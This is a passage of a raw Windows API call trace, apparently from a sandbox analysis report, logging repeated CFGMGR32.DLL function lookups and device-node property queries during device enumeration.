(hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.880] malloc (_Size=0x18) returned 0x20abc281d20 [0194.881] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0194.881] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2feca42b, dwHighDateTime=0x1d9eb0c)) [0194.881] SetEvent (hEvent=0x248) returned 1 [0194.883] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.883] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.886] malloc (_Size=0x18) returned 0x20abc281b00 [0194.886] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.893] malloc (_Size=0x48) returned 0x20abc2a8000 [0194.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fef16ff, dwHighDateTime=0x1d9eb0c)) [0194.894] SetEvent (hEvent=0x248) returned 1 [0194.894] SetEvent (hEvent=0x248) returned 1 [0194.895] free (_Block=0x20abc2a8000) [0194.895] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.895] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fef16ff, dwHighDateTime=0x1d9eb0c)) [0194.896] SetEvent (hEvent=0x248) returned 1 [0194.897] SetEvent (hEvent=0x248) returned 1 [0194.897] free (_Block=0x20abc27cf80) [0194.897] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.898] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fef16ff, dwHighDateTime=0x1d9eb0c)) [0194.898] SetEvent (hEvent=0x248) returned 1 [0194.899] SetEvent (hEvent=0x248) returned 1 [0194.899] free (_Block=0x20abc27cf80) [0194.899] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.900] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fef16ff, dwHighDateTime=0x1d9eb0c)) [0194.900] SetEvent (hEvent=0x248) returned 1 [0194.903] SetEvent (hEvent=0x248) returned 1 [0194.903] free (_Block=0x20abc27cf80) [0194.903] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.905] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fef16ff, dwHighDateTime=0x1d9eb0c)) [0194.905] SetEvent (hEvent=0x248) returned 1 [0194.906] SetEvent (hEvent=0x248) returned 1 [0194.907] free (_Block=0x20abc27cf80) [0195.019] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x11, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0195.019] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x30021973, dwHighDateTime=0x1d9eb0c)) [0195.019] SetEvent (hEvent=0x248) returned 1 [0195.023] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.023] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.026] malloc (_Size=0x18) returned 0x20abc282000 [0195.026] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x11, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0195.026] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x30021973, dwHighDateTime=0x1d9eb0c)) [0195.027] SetEvent (hEvent=0x248) returned 1 [0195.029] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.029] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.032] malloc (_Size=0x18) returned 0x20abc282040 [0195.033] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0195.033] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30047c86, dwHighDateTime=0x1d9eb0c)) [0195.033] SetEvent (hEvent=0x248) returned 1 [0195.037] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.037] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.040] malloc (_Size=0x18) returned 0x20abc281bc0 [0195.040] CM_Get_Device_IDA (in: dnDevInst=0x12, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\IP_TUNNEL_DEVICE_ROOT") returned 0x0 [0195.040] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x30047c86, dwHighDateTime=0x1d9eb0c)) [0195.040] SetEvent (hEvent=0x248) returned 1 [0195.043] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.043] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.046] malloc (_Size=0x18) returned 0x20abc281bc0 [0195.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.047] malloc (_Size=0x10) returned 0x20abc281fe0 [0195.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281fe0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281fe0, pulLength=0x2dc22fd3f8) returned 0x0 [0195.048] free (_Block=0x20abc281fe0) [0195.048] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3006de8d, dwHighDateTime=0x1d9eb0c)) [0195.048] SetEvent (hEvent=0x248) returned 1 [0195.050] malloc (_Size=0x18) returned 0x20abc281e80 [0195.050] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0195.050] free (_Block=0x20abc281e80) [0195.050] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0195.050] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.050] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.050] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.050] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.050] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.051] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.051] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0195.051] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.051] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.052] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.052] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0195.053] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.053] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.056] malloc (_Size=0x18) returned 0x20abc281fe0 [0195.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.057] malloc (_Size=0x38) returned 0x20abc281190 [0195.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281190, 